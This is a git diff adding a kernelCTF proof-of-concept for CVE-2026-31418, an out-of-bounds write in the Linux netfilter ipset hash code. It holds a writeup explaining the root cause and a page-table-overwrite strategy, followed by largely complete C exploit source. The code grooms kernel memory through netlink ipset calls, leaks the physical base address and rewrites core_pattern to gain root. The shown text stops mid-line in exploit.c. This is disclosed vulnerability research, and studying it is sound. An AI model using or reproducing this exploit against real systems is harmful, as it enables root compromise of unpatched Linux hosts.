diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/exploit.md new file mode 100644 index 000000000..c46ea4cee --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/exploit.md @@ -0,0 +1,137 @@ +# **Vulnerability** + +## Summary +In `net/netfilter/ipset/ip_set_hash_gen.h`, a logically empty bucket can survive deletion, shrink into a zero-slot bucket, and later be reused by `mtype_add()` with `forceadd` enabled, leading to an Out-of-Bounds Write vulnerability. This allows an attacker to write 4 controlled bytes immediately past the end of the allocated storage. + +Specifically, in `mtype_del()`, `k` counts unused slots in `[0, n->pos)`. After deleting an element, the code frees the bucket only when `n->pos == 0 && k == 0`. That condition is wrong: the bucket is logically empty whenever all slots in `[0, n->pos)` are unused, i.e. when `k == n->pos`. Once `mtype_del()` fails to recognize the bucket as empty and shrinks it instead, if `n->size == AHASH_INIT_SIZE`, the shrink path allocates only the bucket header, i.e. no element storage, sets `tmp->size = 0`, and installs a zero-sized bucket. Later, when the set is full and `forceadd` is enabled, `mtype_add()` takes the reuse/forceadd path before attempting to grow the bucket. If no reusable index is found, it forces `j = 0`. `ahash_data(n, 0, set->dsize)` then points past the end of the zero-sized bucket, and the subsequent `ip_set_ext_destroy()` and element copy access memory out of bounds. + +With this 4-byte OOB write, we can overwrite a neighboring PTE and achieve arbitrary physical memory read/write. + +## **Vulnerability Analysis** + +### BIC +The root cause of this vulnerability was introduced in Linux kernel v4.2-rc1 by commit [18f84d4](https://github.com/torvalds/linux/commit/18f84d41d34f#diff-82b2b1e15c116f3c78055ad0bf240d0fe452e931cce4a13f39efe59958217315R885) ("netfilter: ipset: Introduce RCU locking in hash:* types"), which introduced the wrong classification of logically empty buckets. + +The bug trigger path was introduced later in Linux kernel v5.6-rc4 by commit [8af1c6f](https://github.com/torvalds/linux/commit/8af1c6fbd923) ("netfilter: ipset: Fix forceadd evaluation path"), which introduced the last piece that makes `ahash_data(n, j, set->dsize)` point past zero-sized storage and thus leads to the OOB write. + +That later change turns the earlier inconsistent bucket state into a directly triggerable out-of-bounds access/write. + +### Root cause +In `net/netfilter/ipset/ip_set_hash_gen.h`: + +`mtype_del()` can create a bucket with zero data slots in the shrink path: +- The `k >= AHASH_INIT_SIZE` branch allocates `sizeof(*tmp) + (n->size - AHASH_INIT_SIZE) * dsize`. +- If `n->size == AHASH_INIT_SIZE`, then `tmp->size = 0`, and a zero-sized bucket object remains installed. + +```c +// mtype_del() shrink path + if (n->pos == 0 && k == 0) { + // This condition is wrong: the bucket is logically empty whenever + // all slots in [0, n->pos) are unused, i.e. when k == n->pos. + t->hregion[r].ext_size -= ext_size(n->size, dsize); + rcu_assign_pointer(hbucket(t, key), NULL); + kfree_rcu(n, rcu); + } else if (k >= AHASH_INIT_SIZE) { + struct hbucket *tmp = kzalloc(sizeof(*tmp) + + (n->size - AHASH_INIT_SIZE) * dsize, + GFP_ATOMIC); + if (!tmp) + goto out; + tmp->size = n->size - AHASH_INIT_SIZE; + for (j = 0, k = 0; j < n->pos; j++) { + if (!test_bit(j, n->used)) + continue; + data = ahash_data(n, j, dsize); + memcpy(tmp->value + k * dsize, data, dsize); + set_bit(k, tmp->used); + k++; + } + tmp->pos = k; + t->hregion[r].ext_size -= + ext_size(AHASH_INIT_SIZE, dsize); + rcu_assign_pointer(hbucket(t, key), tmp); + kfree_rcu(n, rcu); + } +``` + +Later, in `mtype_add()`, when the set is full and `forceadd` is enabled: +- `if (reuse || forceadd)` executes before the grow path. +- `if (j == -1) j = 0;` forces index 0 even when `n->size == 0` and `n->pos == 0`. +- `data = ahash_data(n, j, set->dsize)` then points past zero-sized storage. +- `ip_set_ext_destroy(set, data)` and `memcpy(data, d, sizeof(struct mtype_elem))` perform out-of-bounds access/write. + +```c +// mtype_add() forceadd path + if (reuse || forceadd) { + if (j == -1) + j = 0; + data = ahash_data(n, j, set->dsize); + if (!deleted) { + ... + ip_set_ext_destroy(set, data); + t->hregion[r].elements--; + } + goto copy_data; + } + ... +copy_data: + t->hregion[r].elements++; + ... + memcpy(data, d, sizeof(struct mtype_elem)); +``` + +This gives us a 4-byte OOB write at `data`, right past the end of the zero-sized bucket. + +The bug was patched in v7.0-rc6 by our team after the kCTF submission. + +# Exploit + +## Exploit Summary +- **Stage 1:** Spray PTEs so that a PTE page is placed after the vulnerable bucket, then use `CVE-2026-31418` to leak the physical KASLR. +- **Stage 2:** Spray PTEs again so that a PTE page is placed after the vulnerable bucket, then use `CVE-2026-31418` to overwrite `core_pattern`. + +## Exploit Details + +### Trigger the bug + +1. Create a `hash:ip` set with `hashsize=64`, `maxelem=3`, fixed `initval`, `timeout`, and `forceadd`. +2. Add colliding `A` (long timeout), `B` (short timeout), plus filler `C`. +3. Sleep until `B` expires, then add `D` to induce a GC pass under full-set conditions. +4. Delete `A` to hit `mtype_del()` shrink and leave a `size=0` bucket object behind. +5. Add filler `E` to return the set to full. +6. Add colliding `F` so that the `forceadd` path writes via `ahash_data(n, 0, ...)` on the zero-sized bucket and triggers the OOB write. + +In our exploit, we first prepare multiple source pages and then recover source-page boundaries from the timing of `del_ip(A)`. Concretely, we burn 8 full source pages and keep 16 candidate source pages. Each source page corresponds to 128 `kmalloc-32` source objects. We select one candidate source page based on timing, free the trailing candidate pages behind it, and then trigger the final OOB write across all 128 sets in the selected source page. + +This way, one of the resulting OOB writes can cross a page boundary and overwrite a neighboring PTE entry. + +### Spray PTEs +The exploit sprays PTEs with 8192 sparse 4 KiB mappings at a 2 MiB stride, and also prepares 128 separate 2 MiB regions that are later scanned for leaked or retargeted mappings. + +As kernelCTF uses 3 GiB of low physical memory, the remaining upper 512 MiB region effectively differs by `0x100000000`, which means our 4-byte write cannot control the fifth byte of the target PTE. As a result, if we overwrite a PTE whose fifth byte is already set, we usually cannot make it point into the kernel image region. For kernel memory, the fifth byte is often zero. Possible exceptions are the physical address of `cpu_entry_area`, whose fifth byte could be set and may also work, and the `module allocation` range. However, kernelCTF does not load `.ko` modules, so the latter is not useful here. + +Meanwhile, physical pages are more likely to be allocated first from that upper 512 MiB region. To reduce that probability, we first allocate and touch roughly 500 MiB of memory in order to drain the upper 512 MiB region as much as possible. This gives us a higher chance that the sprayed PTE pages are allocated from the lower 3 GiB region, whose fifth byte is zero and can therefore be controlled by our 4-byte OOB write to point into the kernel image region. + +### Leak physical address +There are many fixed physical addresses that contain interesting data across different Linux kernel versions. Here we only use `0x9c000` (`0x9c067` as the PTE value) to leak the physical KASLR. This technique is used in many CTF writeups, including [this one from corCTF](https://uniguri.com/posts/kernel/write-ups/ctf/corctf2022-corjail/). + +After we read the value at physical address `0x9c000`, we adjust it by an offset (`0x3a04000` in our case) to recover the real physical base address. This offset differs across different kernel builds, so we currently need to determine it manually for each target. We do not yet know whether there is a fixed physical address that can be used without this per-build adjustment. + +### Arbitrary physical read/write +After we recover the physical KASLR, we can calculate the physical address of `core_pattern`, trigger the bug again, overwrite the PTE entry so that it points to `core_pattern`, and then modify it to complete the privilege escalation. + +## Additional Notes + +### Why not use DirtyPageTable +Currently there is no public writeup for a Dirty {PageTable,Pipe}-style file-overwrite exploit in kCTF, as it seems we cannot directly use it to modify `/etc/passwd` in the kCTF jail environment. + +It may still be possible to modify some shared libraries and hope that some root process on the host will later execute them, but since `core_pattern` already works well here, we did not spend time trying to make that path work. + +### Why not use libxdk +We only have two hard-coded values that need to be changed per target: +- the offset of the `core_pattern` symbol +- the offset used to adjust the physical ASLR leak (`0x3a04000` in the current exploit) + +`libxdk` is powerful. However, the only part we could use it for here is resolving the offset of `core_pattern`. + +The physical ASLR leak still requires a per-target adjustment, and that does not seem to be supported by `libxdk`. So integrating `libxdk` would solve only one symbol dependency, while the physical-address dependency would still remain. Instead, we simply keep those two hard-coded values in the exploit. diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/vulnerability.md new file mode 100644 index 000000000..b2cf62d2c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31418_cos/docs/vulnerability.md @@ -0,0 +1,13 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: `CAP_NET_ADMIN` + - **Kernel configuration**: `CONFIG_NETFILTER=y, CONFIG_NETFILTER_NETLINK=y, CONFIG_IP_SET=y, CONFIG_IP_SET_HASH_IP=y` + - **User namespaces required**: Yes +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8af1c6fbd9239877998c7f5a591cb2c88d41fb66 +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9862ef9ab0a116c6dca98842aab7de13a252ae02 +- **Affected Version**: `5.6-rc4 - 7.0-rc7` +- **Affected Component**: `net/netfilter: ip_set` +- **Syscall to disable**: `unshare` +- **Cause**: Out-of-Bounds-Write +- **Description**: An Out-of-Bounds Write vulnerability was discovered in the Linux kernel's netfilter subsystem. mtype_del() could miss buckets whose live entries have all been removed while n->pos still points past deleted slots, leading to a Out-of-Bounds Write vulnerability. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/Makefile b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/Makefile new file mode 100644 index 000000000..eb9c9b276 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/Makefile @@ -0,0 +1,28 @@ +CC := g++ +CFLAGS := -static +LDLIBS := -lkernelXDK + +TARGETS := exploit exploit_debug +SRC := exploit.c + +.PHONY: all prerequisites run clean + +all: prerequisites exploit + +prerequisites: target_db.kxdb + +target_db.kxdb: + wget -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +exploit: $(SRC) + $(CC) $(CPPFLAGS) $(CFLAGS) $< -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CFLAGS += -g +exploit_debug: $(SRC) + $(CC) $(CPPFLAGS) $(CFLAGS) $< -o $@ $(LDFLAGS) $(LDLIBS) + +run: exploit + ./$< + +clean: + rm -rf $(TARGETS) target_db.kxdb \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit new file mode 100644 index 000000000..95c522140 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit.c b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit.c new file mode 100644 index 000000000..1bf42f806 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31418_cos/exploit/cos-113-18244.582.40/exploit.c @@ -0,0 +1,810 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +size_t off_leak_phys_base; +size_t core_pattern; + +#ifndef IPSET_PROTOCOL +#define IPSET_PROTOCOL 7 +#endif +#ifndef IPSET_ATTR_INITVAL +#define IPSET_ATTR_INITVAL (IPSET_ATTR_CADT_MAX + 1) +#endif +#ifndef IPSET_ATTR_HASHSIZE +#define IPSET_ATTR_HASHSIZE (IPSET_ATTR_CADT_MAX + 2) +#endif +#ifndef IPSET_ATTR_MAXELEM +#define IPSET_ATTR_MAXELEM (IPSET_ATTR_CADT_MAX + 3) +#endif +#ifndef IPSET_FLAG_WITH_FORCEADD +#define IPSET_FLAG_WITH_FORCEADD (1U << 5) +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define HASH_SIZE 64U +#define HTABLE_BITS 6U +#define MAXELEM 3U +#define SOURCE_PAGE_OBJS 128U +#define BURN_SOURCE_PAGES 8U +#define CANDIDATE_SOURCE_PAGES 16U +#define BURN_SET_COUNT (BURN_SOURCE_PAGES * SOURCE_PAGE_OBJS) +#define CANDIDATE_SET_COUNT (CANDIDATE_SOURCE_PAGES * SOURCE_PAGE_OBJS) +#define SET_COUNT (BURN_SET_COUNT + CANDIDATE_SET_COUNT) +#define SOURCE_RELEASE_PAGES 8U +#define PTE_FENGSHUI_COUNT 8192 +#define PTE_FENGSHUI_STRIDE (2UL << 20) +#define PTE_FENGSHUI_BASE 0x500000000000UL +#define DIRTYPT_REGION_BYTES (2UL << 20) +#define DIRTYPT_BASE 0x600000000000UL +#define DIRTYPT_WARM_REGION_BASE (DIRTYPT_BASE + (1UL << 29)) +#define DIRTYPT_REGION_COUNT 128U + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +#define CHECK_EQ(a, b) \ + do { \ + if ((a) != (b)) \ + errx(1, "CHECK_EQ failed at line %d: got %d expected %d", \ + __LINE__, (int)(a), (int)(b)); \ + } while (0) + +#define WRITE_FILE(path, fmt, ...) \ + do { \ + char __buf[128]; \ + int __len = snprintf(__buf, sizeof(__buf), fmt, ##__VA_ARGS__); \ + int __fd = SYSCHK(open(path, O_WRONLY)); \ + if (SYSCHK(write(__fd, __buf, (size_t)__len)) != __len) \ + errx(1, "short write: %s", path); \ + close(__fd); \ + } while (0) + + +void pin_to_cpu(int x) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(x, &set); + SYSCHK(sched_setaffinity(0, sizeof(set), &set)); +} + +void unshare_setup(void) { + uid_t uid = getuid(); + gid_t gid = getgid(); + + SYSCHK(unshare(CLONE_NEWUSER)); + WRITE_FILE("/proc/self/setgroups", "deny\n"); + WRITE_FILE("/proc/self/uid_map", "0 %d 1\n", uid); + WRITE_FILE("/proc/self/gid_map", "0 %d 1\n", gid); + SYSCHK(setresgid(0, 0, 0)); + SYSCHK(setresuid(0, 0, 0)); + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWNS)); +} + +void *g_pte_addrs[PTE_FENGSHUI_COUNT]; +void *g_dirtypt_regions[DIRTYPT_REGION_COUNT]; +void *g_dirtypt_warm_region; +unsigned int g_selected_source_base; + +// 0x6702700U +// 0x6380511cU +// 1c418000 +// 1c518000 +uint32_t g_payload_host = 0x67c00900U; +uint32_t g_initval; + + +uint64_t nsec_now(void) { + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC_RAW, &ts); + return (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec; +} + +int cmp_u64(const void *a, const void *b) { + uint64_t va = *(const uint64_t *)a; + uint64_t vb = *(const uint64_t *)b; + + if (va < vb) + return -1; + if (va > vb) + return 1; + return 0; +} + +uint64_t timing_percentile(const uint64_t *samples, unsigned int count, unsigned int pct) { + if (pct > 100U) + pct = 100U; + uint64_t* sorted = (uint64_t*)calloc(count, sizeof(*sorted)); + memcpy(sorted, samples, count * sizeof(*sorted)); + qsort(sorted, count, sizeof(*sorted), cmp_u64); + unsigned int idx = (count * pct) / 100U; + if (idx >= count) + idx = count - 1; + uint64_t value = sorted[idx]; + free(sorted); + return value; +} + +unsigned int collect_periodic_starts(const uint64_t *samples, unsigned int count, unsigned int period, unsigned int pct, unsigned int *best_offset_out, uint64_t *threshold_out) { + unsigned int best_offset = 0; + unsigned int best_hits = 0; + uint64_t best_score = 0; + uint64_t threshold = timing_percentile(samples, count, pct); + + for (unsigned int off = 0; off < period; off++) { + unsigned int hits = 0; + uint64_t score = 0; + + for (unsigned int idx = off; idx + period <= count; idx += period) { + if (samples[idx] < threshold) + continue; + hits++; + score += samples[idx] - threshold + 1U; + } + if (hits > best_hits || (hits == best_hits && score > best_score)) { + best_hits = hits; + best_score = score; + best_offset = off; + } + } + + if (best_offset_out) + *best_offset_out = best_offset; + if (threshold_out) + *threshold_out = threshold; + return best_hits; +} + +uint32_t rol32(uint32_t word, unsigned int shift) { + return (word << shift) | (word >> (32 - shift)); +} + +uint32_t jhash_1word(uint32_t a, uint32_t initval) { + uint32_t b, c; + + a += initval + 0xdeadbeefU + (1U << 2); + b = initval + 0xdeadbeefU + (1U << 2); + c = initval + 0xdeadbeefU + (1U << 2); + + c ^= b; + c -= rol32(b, 14); + a ^= c; + a -= rol32(c, 11); + b ^= a; + b -= rol32(a, 25); + c ^= b; + c -= rol32(b, 16); + a ^= c; + a -= rol32(c, 4); + b ^= a; + b -= rol32(a, 14); + c ^= b; + c -= rol32(b, 24); + return c; +} + +uint32_t bucket_for_ip(uint32_t ip_be) { + return jhash_1word(ip_be, g_initval) & ((1U << HTABLE_BITS) - 1U); +} + +uint32_t choose_initval_for_bucket(uint32_t payload_host, unsigned int bucket) { + uint32_t ip_be = htonl(payload_host); + + for (uint32_t init = 0; init < (1U << 20); init++) { + if ((jhash_1word(ip_be, init) & ((1U << HTABLE_BITS) - 1U)) == bucket) + return init; + } + errx(1, "failed to find initval for payload=0x%08x bucket=%u", payload_host, bucket); +} + +void *nlmsg_tail(const struct nlmsghdr *nlh) { + return (char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len); +} + +int nla_put(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, + const void *data, uint16_t len) { + size_t offset = NLMSG_ALIGN(nlh->nlmsg_len); + size_t attr_len = (size_t)NLA_HDRLEN + len; + size_t total_len = NLA_ALIGN(attr_len); + struct nlattr *nla; + + if (offset + total_len > maxlen) + return -1; + nla = (struct nlattr *)((char *)nlh + offset); + nla->nla_type = type; + nla->nla_len = (uint16_t)attr_len; + if (len && data) + memcpy((char *)nla + NLA_HDRLEN, data, len); + if (total_len > attr_len) + memset((char *)nla + attr_len, 0, total_len - attr_len); + nlh->nlmsg_len = (uint32_t)(offset + total_len); + return 0; +} + +int nla_put_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, + uint8_t value) { + return nla_put(nlh, maxlen, type, &value, sizeof(value)); +} + +int nla_put_strz(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, + const char *s) { + return nla_put(nlh, maxlen, type, s, (uint16_t)(strlen(s) + 1)); +} + +int nla_put_be32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, + uint32_t be) { + return nla_put(nlh, maxlen, (uint16_t)(type | NLA_F_NET_BYTEORDER), + &be, sizeof(be)); +} + +int nla_put_net32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, + uint32_t host) { + return nla_put_be32(nlh, maxlen, type, htonl(host)); +} + +struct nlattr *nla_nest_start(struct nlmsghdr *nlh, size_t maxlen, + uint16_t type) { + size_t offset = NLMSG_ALIGN(nlh->nlmsg_len); + size_t total_len = NLA_ALIGN(NLA_HDRLEN); + struct nlattr *nla; + + if (offset + total_len > maxlen) + return NULL; + nla = (struct nlattr *)((char *)nlh + offset); + nla->nla_type = (uint16_t)(type | NLA_F_NESTED); + nla->nla_len = NLA_HDRLEN; + if (total_len > NLA_HDRLEN) + memset((char *)nla + NLA_HDRLEN, 0, total_len - NLA_HDRLEN); + nlh->nlmsg_len = (uint32_t)(offset + total_len); + return nla; +} + +void nla_nest_end(struct nlmsghdr *nlh, struct nlattr *start) { + start->nla_len = (uint16_t)((char *)nlmsg_tail(nlh) - (char *)start); +} + +struct nlmsghdr *start_msg(char *buf, size_t buflen, uint32_t seq, + uint8_t cmd, uint16_t nlflags) { + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + struct nfgenmsg *nfg; + + memset(buf, 0, buflen); + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); + nlh->nlmsg_type = (uint16_t)((NFNL_SUBSYS_IPSET << 8) | cmd); + nlh->nlmsg_flags = (uint16_t)(NLM_F_REQUEST | NLM_F_ACK | nlflags); + nlh->nlmsg_seq = seq; + nfg = (struct nfgenmsg *)NLMSG_DATA(nlh); + nfg->nfgen_family = NFPROTO_IPV4; + nfg->version = NFNETLINK_V0; + nfg->res_id = htons(0); + if (nla_put_u8(nlh, buflen, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL) < 0) + return NULL; + return nlh; +} + +int nl_talk(int fd, const struct nlmsghdr *req) { + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK}; + char rbuf[8192]; + + if (sendto(fd, req, req->nlmsg_len, 0, + (const struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) + return -errno; + + for (;;) { + ssize_t len = recv(fd, rbuf, sizeof(rbuf), 0); + + if (len < 0) { + if (errno == EINTR) + continue; + return -errno; + } + for (struct nlmsghdr *nlh = (struct nlmsghdr *)rbuf; + NLMSG_OK(nlh, (unsigned int)len); + nlh = NLMSG_NEXT(nlh, len)) { + if (nlh->nlmsg_seq != req->nlmsg_seq) + continue; + if (nlh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *errp = (struct nlmsgerr *)NLMSG_DATA(nlh); + + if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*errp))) + return -EINVAL; + return errp->error; + } + if (nlh->nlmsg_type == NLMSG_DONE) + return 0; + } + } +} + +void fill_ip_attr(struct nlmsghdr *nlh, size_t buflen, uint32_t ip_be) { + struct nlattr *data = nla_nest_start(nlh, buflen, IPSET_ATTR_DATA); + struct nlattr *ip = nla_nest_start(nlh, buflen, IPSET_ATTR_IP); + nla_put_be32(nlh, buflen, IPSET_ATTR_IPADDR_IPV4, ip_be); + nla_nest_end(nlh, ip); + nla_nest_end(nlh, data); +} + +int destroy_set(int fd, uint32_t *seq, const char *setname) { + char buf[4096]; + struct nlmsghdr *nlh = start_msg(buf, sizeof(buf), ++(*seq), IPSET_CMD_DESTROY, 0); + + if (!nlh) + return -EINVAL; + if (nla_put_strz(nlh, sizeof(buf), IPSET_ATTR_SETNAME, setname) < 0) + return -EINVAL; + return nl_talk(fd, nlh); +} + +int create_set(int fd, uint32_t *seq, const char *setname) { + char buf[4096]; + struct nlmsghdr *nlh = start_msg(buf, sizeof(buf), ++(*seq), IPSET_CMD_CREATE, NLM_F_EXCL); + struct nlattr *data; + + if (!nlh) + return -EINVAL; + if (nla_put_strz(nlh, sizeof(buf), IPSET_ATTR_SETNAME, setname) < 0) + return -EINVAL; + if (nla_put_strz(nlh, sizeof(buf), IPSET_ATTR_TYPENAME, "hash:ip") < 0) + return -EINVAL; + if (nla_put_u8(nlh, sizeof(buf), IPSET_ATTR_REVISION, 5) < 0) + return -EINVAL; + if (nla_put_u8(nlh, sizeof(buf), IPSET_ATTR_FAMILY, NFPROTO_IPV4) < 0) + return -EINVAL; + data = nla_nest_start(nlh, sizeof(buf), IPSET_ATTR_DATA); + if (!data) + return -EINVAL; + if (nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_HASHSIZE, HASH_SIZE) < 0 || + nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_MAXELEM, MAXELEM) < 0 || + nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_INITVAL, g_initval) < 0 || + nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_TIMEOUT, 300) < 0 || + nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_CADT_FLAGS, + IPSET_FLAG_WITH_FORCEADD) < 0) + return -EINVAL; + nla_nest_end(nlh, data); + return nl_talk(fd, nlh); +} + +int add_ip(int fd, uint32_t *seq, const char *setname, uint32_t ip_be, + uint32_t timeout_sec, bool send_timeout) { + char buf[4096]; + struct nlmsghdr *nlh = start_msg(buf, sizeof(buf), ++(*seq), + IPSET_CMD_ADD, NLM_F_EXCL); + struct nlattr *data, *ip; + + if (!nlh) + return -EINVAL; + if (nla_put_strz(nlh, sizeof(buf), IPSET_ATTR_SETNAME, setname) < 0) + return -EINVAL; + data = nla_nest_start(nlh, sizeof(buf), IPSET_ATTR_DATA); + if (!data) + return -EINVAL; + ip = nla_nest_start(nlh, sizeof(buf), IPSET_ATTR_IP); + if (!ip) + return -EINVAL; + if (nla_put_be32(nlh, sizeof(buf), IPSET_ATTR_IPADDR_IPV4, ip_be) < 0) + return -EINVAL; + nla_nest_end(nlh, ip); + if (send_timeout && + nla_put_net32(nlh, sizeof(buf), IPSET_ATTR_TIMEOUT, timeout_sec) < 0) + return -EINVAL; + nla_nest_end(nlh, data); + return nl_talk(fd, nlh); +} + +int del_ip(int fd, uint32_t *seq, const char *setname, uint32_t ip_be) { + char buf[4096]; + struct nlmsghdr *nlh = start_msg(buf, sizeof(buf), ++(*seq), IPSET_CMD_DEL, NLM_F_EXCL); + if (nla_put_strz(nlh, sizeof(buf), IPSET_ATTR_SETNAME, setname) < 0) + return -EINVAL; + fill_ip_attr(nlh, sizeof(buf), ip_be); + return nl_talk(fd, nlh); +} + +void build_candidates(uint32_t ips[HASH_SIZE][4], + unsigned int cnt[HASH_SIZE]) { + memset(ips, 0, sizeof(uint32_t) * HASH_SIZE * 4); + memset(cnt, 0, sizeof(unsigned int) * HASH_SIZE); + + for (uint32_t host = 1; host < 0x00ffffffU; host++) { + uint32_t ip_be = htonl(0x0a000000U | host); + unsigned int bucket = bucket_for_ip(ip_be); + + if (cnt[bucket] < 4) + ips[bucket][cnt[bucket]++] = ip_be; + } + + for (unsigned int i = 0; i < HASH_SIZE; i++) { + if (cnt[i] >= 3) + return; + } + errx(1, "failed to build collision candidates"); +} + +void pick_attempt_ips(uint32_t ips[HASH_SIZE][4], + unsigned int cnt[HASH_SIZE], uint32_t *a, + uint32_t *b, uint32_t *c, uint32_t *d, + uint32_t *e, uint32_t *f, + uint32_t *target_bucket) { + uint32_t f_be = htonl(g_payload_host); + unsigned int f_bucket = bucket_for_ip(f_be); + int ce_bucket = -1; + int d_bucket = -1; + + if (cnt[f_bucket] < 2) + errx(1, "failed to find colliders for payload bucket %u", f_bucket); + + *target_bucket = f_bucket; + *a = ips[f_bucket][0]; + *b = ips[f_bucket][1]; + *f = f_be; + + for (unsigned int i = 0; i < HASH_SIZE; i++) { + unsigned int bucket = (i + 1) % HASH_SIZE; + + if (bucket == f_bucket) + continue; + if (ce_bucket < 0 && cnt[bucket] >= 2) { + ce_bucket = (int)bucket; + continue; + } + if (d_bucket < 0 && cnt[bucket] >= 1) { + d_bucket = (int)bucket; + continue; + } + if (ce_bucket >= 0 && d_bucket >= 0) + break; + } + + if (ce_bucket < 0 || d_bucket < 0) + errx(1, "failed to find reusable non-target buckets"); + + *c = ips[ce_bucket][0]; + *e = ips[ce_bucket][1]; + *d = ips[d_bucket][0]; +} + +void setname_for_index(char name[IPSET_MAXNAMELEN], unsigned int idx) { + int len = snprintf(name, IPSET_MAXNAMELEN, "q7m%05u", idx); + + if (len < 0 || len >= IPSET_MAXNAMELEN) + errx(1, "set name overflow at idx=%u", idx); +} + +void destroy_many_sets(int fd, uint32_t *seq) { + char name[IPSET_MAXNAMELEN]; + + for (unsigned int i = 0; i < SET_COUNT; i++) { + int ret; + + setname_for_index(name, i); + ret = destroy_set(fd, seq, name); + if (ret == -ENOENT) + ret = 0; + CHECK_EQ(ret, 0); + } +} + +void destroy_set_range(int fd, uint32_t *seq, unsigned int start, unsigned int count) { + char name[IPSET_MAXNAMELEN]; + for (unsigned int i = 0; i < count; i++) { + setname_for_index(name, start + i); + int ret = destroy_set(fd, seq, name); + if (ret == -ENOENT) + ret = 0; + CHECK_EQ(ret, 0); + } +} + +void prepare_source_sets(int fd, uint32_t *seq, uint32_t a, uint32_t b, + uint32_t c, uint32_t d) { + char name[IPSET_MAXNAMELEN]; + + // preparing vulnerable source sets + for (unsigned int i = 0; i < SET_COUNT; i++) { + int ret; + + setname_for_index(name, i); + ret = destroy_set(fd, seq, name); + if (ret == -ENOENT) + ret = 0; + CHECK_EQ(ret, 0); + CHECK_EQ(create_set(fd, seq, name), 0); + CHECK_EQ(add_ip(fd, seq, name, a, 300, true), 0); + CHECK_EQ(add_ip(fd, seq, name, b, 1, true), 0); + CHECK_EQ(add_ip(fd, seq, name, c, 300, true), 0); + } + + sleep(1); // must wait, but I did not check how long exactly. + + for (unsigned int i = 0; i < SET_COUNT; i++) { + setname_for_index(name, i); + CHECK_EQ(add_ip(fd, seq, name, d, 300, true), 0); + } +} + +void arm_source_batch_timed(int fd, uint32_t *seq, unsigned int start, unsigned int count, uint32_t a, uint32_t e, uint64_t *timings) { + char name[IPSET_MAXNAMELEN]; + + for (unsigned int i = 0; i < count; i++) { + setname_for_index(name, start + i); + uint64_t t0 = nsec_now(); + CHECK_EQ(del_ip(fd, seq, name, a), 0); + uint64_t t1 = nsec_now(); + if (timings) + timings[i] = t1 - t0; + CHECK_EQ(add_ip(fd, seq, name, e, 300, true), 0); + } +} + +uint64_t win = 0; +void* unmap_x(void* addr, unsigned long len) { + uint64_t off_inpage_core = (core_pattern & 0xfff) / 8; + uint64_t off_core_page = core_pattern & (~0xfff); + if (addr) { + uint64_t *p = (uint64_t *)addr; + // if ((p[0] > 0x1000000) && (p[0] < 0x200000000) && p[1] == 0) { + if ((p[0] > 0x1000000) && (p[0] < 0x100000000) && p[1] == 0) { + uint64_t leak_phys = p[0] & 0xffffffff; + printf("[+] We may have phys leak: 0x%lx\n", leak_phys); + uint64_t phys = leak_phys - off_leak_phys_base + 4; // set "w" flag + printf("[+] Using phys base: 0x%lx\n", phys); + uint64_t core_pattern_addr = phys + off_core_page; + uint64_t res = 0; + for (int i = 0; i < 4; i++) { + res <<= 8; + res |= core_pattern_addr & 0xff; + core_pattern_addr >>= 8; + } + printf("[!] New address: 0x%lx\n", res); + win = res; + } else if (p[off_inpage_core] == 0x65726f63) { + printf("[+] We got core pattern control\n"); + p[off_inpage_core++] = 0x252f636f72702f7c; + p[off_inpage_core++] = 0x3636362f64662f50; + p[off_inpage_core++] = 